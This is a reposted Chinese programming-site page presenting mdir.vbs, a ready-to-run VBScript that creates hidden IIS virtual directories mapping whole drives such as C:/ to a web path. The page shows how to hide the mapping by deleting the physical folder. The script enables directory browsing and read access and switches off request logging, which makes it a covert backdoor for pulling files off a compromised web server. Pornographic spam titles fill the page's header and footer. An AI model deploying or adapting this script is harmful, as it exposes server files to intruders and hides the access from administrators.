亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

mdir.vbs 建立隱藏虛擬目錄的vbs

2020-07-26 12:02:13
字體:
來源:轉載
供稿:網友
建立隱藏虛擬目錄使用。首先要先在對應WEB目錄里建立一個目錄。然后利用腳本直接在Shell中創建虛擬目錄。僅僅為了方便大家使用。方法如下
C:/>mdir.vbs
***************************************************************************
Usage: MDir <-w WebSite Index>
<-v Name1,Path1,Name2,Path2,...>
Example : MDir -w 1 -v "Root/Disk-C","C:/","Root/Disk-D","D:/"
***************************************************************************
Index ServerComment
___________________________________________________________________________
1 asp.com
2 asp.net
3 aspx.net
4 aspx.com
5 tmp.com
6 tmp.net
不加任何參數時,會將IIS中所有主機頭羅列出來。
如果你想在 asp.com 中創建,則需要記準對應的 Index值。格式如下
C:/inetpub/wwwroot>md Root
C:/inetpub/wwwroot>Cscript mdir.vbs -w "1" -v "Root/Disk-c","c:/"
C:/inetpub/wwwroot>rd Root
就在此域名下創建了一個隱藏的虛擬目錄。
訪問方法:
http://asp.com/Root/Disk-c
復制代碼 代碼如下:

'Lilo 編寫
'Lilo@Bugkidz.org
On Error Resume Next
Dim oArgs, ArgNum, ArgComputer, ArgWebSites, ArgVirtualDirs, ArgDirNames(), ArgDirPaths(), DirIndex, ArgComputers

Set oArgs = WScript.Arguments
ArgComputers = Array("LocalHost")

ArgNum = 0
While ArgNum < oArgs.Count

    If (ArgNum + 1) >= oArgs.Count Then
        Call DisplayUsage
    End If    
    Select Case LCase(oArgs(ArgNum))
        Case "-w":
            ArgNum = ArgNum + 1
            ArgWebSites = oArgs(ArgNum)
        Case "-v":
            ArgNum = ArgNum + 1
            ArgVirtualDirs = Split(oArgs(ArgNum), ",", -1)
        Case "-?"
            Call DisplayUsage
    End Select    
    ArgNum = ArgNum + 1
Wend
ArgNum = 0
DirIndex = 0
MaxWeb = CLng(ListAllWeb(0))
If Not IsNumeric(ArgWebSites) Or MaxWeb = 0 Then Call DisplayUsage
ReDim ArgDirNames((UBound(ArgVirtualDirs)+1) / 2)
ReDim ArgDirPaths((UBound(ArgVirtualDirs)+1) / 2)

if isArray(ArgVirtualDirs) then
    While ArgNum <= UBound(ArgVirtualDirs)
        ArgDirNames(DirIndex) = ArgVirtualDirs(ArgNum)
        If (ArgNum + 1) > UBound(ArgVirtualDirs) Then
            WScript.Echo "Error understanding virtual directories"
            Call DisplayUsage
        End If    
        ArgNum = ArgNum + 1
        ArgDirPaths(DirIndex) = ArgVirtualDirs(ArgNum)
        ArgNum = ArgNum + 1
        DirIndex = DirIndex + 1
    Wend
end if 

If (ArgWebSites = "") Or (IsArray(ArgDirNames) = False or IsArray(ArgDirPaths) = False) Then
    Call DisplayUsage
Else
    Dim compIndex
    for compIndex = 0 to UBound(ArgComputers)
        Call ASTCreateVirtualWebDir(ArgComputers(compIndex),ArgWebSites,ArgDirNames,ArgDirPaths)
    next
End If

Sub Display(Msg)
    WScript.Echo Now & ". Error Code: " & Hex(Err) & " - " & Msg
End Sub

Sub Trace(Msg)
    WScript.Echo Now & " : " & Msg    
End Sub

Sub DisplayUsage()
    WScript.Echo String(75,"*") & vbCrLf & "Usage: MDir <-w WebSite Index>" & vbCrLf & "            <-v Name1,Path1,Name2,Path2,...>" & vbCrLf & "Example : MDir -w 1 -v ""Root/Disk-C"",""C:/"",""Root/Disk-D"",""D:/""" & vbCrLf & String(75,"*") & vbCrLf & ListAllWeb(1)
    WScript.Quit
End Sub

Sub ASTCreateVirtualWebDir(ComputerName,WebSiteName,DirNames,DirPaths)
    Dim Computer, webSite, WebSiteID, vRoot, vDir, DirNum
    On Error Resume Next
    Set webSite = GetObject("IIS://Localhost/W3SVC/" & WebSiteName)
    if IsObject(webSite) then
        set vRoot = webSite.GetObject("IIsWebVirtualDir", "Root")
        Trace "Accessing Root For " & webSite.ADsPath
        If (Err <> 0) Then
            Display "Unable To Access Root for " & webSite.ADsPath
        Else
            DirNum = 0
            If (IsArray(DirNames) = True) And (IsArray(DirPaths) = True) And (UBound(DirNames) = UBound(DirPaths)) Then
                While DirNum < UBound(DirNames)
                    Set vDir = vRoot.Create("IIsWebVirtualDir",DirNames(DirNum))
                    If (Err <> 0) Then
                        Display "Unable To Create " & vRoot.ADsPath & "/" & DirNames(DirNum) &"."
                    Else
                        vDir.EnableDirBrowsing      = True
                        vDir.DirBrowseShowDate      = False
                        vDir.DirBrowseShowTime      = False
                        vDir.DirBrowseShowSize      = False
                        vDir.DirBrowseShowExtension = False
                        vDir.DirBrowseShowLongDate  = True
                        vDir.DirBrowseFlags         = -1073741762
                        vDir.AccessRead             = True
                        vDir.AccessWrite            = False
                        vDir.AccessExecute          = False
                        vDir.AccessScript           = False
                        vDir.AccessSource           = False
                        vDir.AccessNoRemoteRead     = False
                        vDir.AccessNoRemoteWrite    = False
                        vDir.AccessNoRemoteExecute  = False
                        vDir.AccessNoRemoteScript   = False
                        vDir.AppIsolated            = 1
                        vDir.AccessFlags            = 1
                        vDir.ContentIndexed         = False
                        vDir.CreateProcessasUser    = False
                        vDir.DontLog                = True
'                        vDir.DefaultDoc             = ""
                        vDir.EnableDefaultDoc       = False
                        vDir.AppFriendlyName        = ""
                        vDir.AppCreate2 3
                        vDir.Path = DirPaths(DirNum)
                        If (Err <> 0) Then
                            Display "Unable To Bind Path " & DirPaths(DirNum) & " to " & vRootName & "/" & DirNames(DirNum) & ". Path may be invalid."
                        Else
                            'Save the changes
                            vDir.SetInfo
                            If (Err <> 0) Then
                                Display "Unable To Save Configuration For " & vRootName & "/" & DirNames(DirNum) &"."
                            Else
                                Trace "Web Virtual Directory " & vRootName & "/" & DirNames(DirNum) & " created successfully."
                            End If
                        End If
                    End If
                    Err = 0
                    DirNum = DirNum + 1
                Wend
            End If
        End If
    else
        Display "Unable To Find "& WebSiteName &" on "& ComputerName
    End if
    Trace "Done."
End Sub

Function ListAllWeb(n)
    Set ObjService=GetObject("IIS://LocalHost/W3SVC")
    If n = 1 Then ListAllWeb = "" Else ListAllWeb = 0
    For Each obj3w In objservice
        If IsNumeric(obj3w.Name) Then
            sServerName=Obj3w.ServerComment
            If n = 1 Then
                ListAllWeb = ListAllWeb & obj3w.Name & String(15-Len(obj3w.Name)," ") & obj3w.ServerComment & vbCrLf
            Else
                ListAllWeb = ListAllWeb + 1
            End If
        End If
    Next
    if n = 1 Then ListAllWeb = "Index" & String(10," ") & "ServerComment" & vbCrLf & String(75,"_") & vbCrLf & ListAllWeb
    Set ObjService=Nothing
End Function
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
欧美大片大片在线播放| 中文字幕免费精品一区高清| www国产91| 久热爱精品视频线路一| 成人av在线天堂| 欧美极品少妇xxxxx| 日韩av有码在线| 国内免费精品永久在线视频| 欧美孕妇毛茸茸xxxx| 国色天香2019中文字幕在线观看| 精品视频9999| www.欧美免费| 日本一本a高清免费不卡| 国内免费久久久久久久久久久| 国产成人精品在线观看| 中文字幕亚洲无线码在线一区| 91九色国产社区在线观看| 国产欧美一区二区三区久久| 久久精品99久久久久久久久| 久久99亚洲热视| 欧美高清激情视频| 亚洲精品一区中文字幕乱码| 国产精品久久二区| 57pao国产精品一区| 97av在线影院| 91午夜理伦私人影院| 亚洲美女在线视频| 欧美在线性爱视频| 91九色国产视频| 久久资源免费视频| 亚洲综合在线播放| 在线免费观看羞羞视频一区二区| 精品欧美激情精品一区| 在线观看日韩视频| 亚洲免费av电影| 97精品免费视频| 中文字幕免费精品一区高清| 青草青草久热精品视频在线观看| 久久91精品国产91久久跳| 亚洲一二在线观看| 国产精品三级美女白浆呻吟| www.色综合| 亚洲影院在线看| 国产一区二区精品丝袜| 久久久91精品国产一区不卡| 欧美www在线| 国产成人一区二区三区| 91av视频在线播放| 国产精品视频久久久久| 5278欧美一区二区三区| 欧美激情影音先锋| 欧美大成色www永久网站婷| 亚洲精品按摩视频| 国产日韩欧美视频| 欧美激情成人在线视频| 国产精品欧美日韩久久| 国产v综合ⅴ日韩v欧美大片| 国产精品久久久精品| 国产综合在线观看视频| 欧美乱人伦中文字幕在线| 北条麻妃久久精品| 久国内精品在线| 久久香蕉精品香蕉| 亚洲日韩中文字幕在线播放| 亚洲一区二区黄| 国产精品海角社区在线观看| 成人午夜激情免费视频| 欧美成人免费大片| 亚洲精品第一国产综合精品| 国产亚洲精品美女久久久| 亚洲片在线观看| 日韩视频永久免费观看| 日本最新高清不卡中文字幕| 日韩av在线高清| 亚洲精品白浆高清久久久久久| 色综合影院在线| 亚洲爱爱爱爱爱| 97久久伊人激情网| 亚洲国产成人爱av在线播放| 欧美高清性猛交| 日韩中文字幕在线精品| 日本高清+成人网在线观看| 米奇精品一区二区三区在线观看| 在线亚洲男人天堂| 成人激情黄色网| 国产一区二区在线播放| 亚洲一区二区精品| 一区二区三区www| 欧美日韩另类字幕中文| 国产精品免费久久久久影院| 最近2019中文免费高清视频观看www99| 国产成人精品在线播放| 亚洲久久久久久久久久| 欧美激情网友自拍| 亚洲理论在线a中文字幕| 国产精品美女久久久免费| 日韩av在线网址| 中文字幕国产亚洲| 国产亚洲精品成人av久久ww| 狠狠躁夜夜躁人人爽天天天天97| 在线观看日韩www视频免费| 亚洲成人在线网| 国产精品高潮呻吟久久av无限| 精品久久香蕉国产线看观看gif| 国产精品第一区| 久久全国免费视频| 欧美中文字幕在线视频| 欧美成人午夜剧场免费观看| 久久久免费在线观看| 日韩激情在线视频| 日韩高清电影免费观看完整版| 91成人在线观看国产| 91美女高潮出水| 亚洲精品国产拍免费91在线| 91精品国产777在线观看| 丁香五六月婷婷久久激情| 精品久久久久久| 97视频免费在线看| 亚洲视频在线免费看| 日本久久久久久久久| 国产精品亚洲一区二区三区| 国产精品啪视频| 中文字幕欧美亚洲| 91精品国产自产在线| 91免费版网站入口| 国产亚洲精品一区二区| 精品久久久国产精品999| 欧美中文字幕在线播放| 欧美极品少妇xxxxⅹ裸体艺术| 欧美中文在线观看国产| 91日本在线观看| 亚洲第一网站男人都懂| 欧美午夜精品伦理| 亚洲欧美日韩中文在线| 亚洲电影免费观看高清完整版在线观看| 日韩av在线影院| 中文字幕一区日韩电影| 51ⅴ精品国产91久久久久久| 国产网站欧美日韩免费精品在线观看| 性视频1819p久久| 亚洲激情免费观看| 91精品久久久久| 国产91精品久| 一本色道久久88综合亚洲精品ⅰ| 92国产精品久久久久首页| 欧美性猛交xxxx免费看久久久| 亚洲第一区在线| 欧美精品中文字幕一区| 欧美一级成年大片在线观看| 91探花福利精品国产自产在线| 日韩视频中文字幕| 欧美日韩精品二区| 欧美男插女视频| 欧美日韩中文在线观看| 国产欧美精品xxxx另类| 26uuu另类亚洲欧美日本老年| 国产欧美 在线欧美| 国产免费观看久久黄| 色婷婷久久一区二区| 国产精品一区二区三区久久久| 一个色综合导航| 国产欧美亚洲精品| 欧美激情视频在线免费观看 欧美视频免费一| 国产高清在线不卡|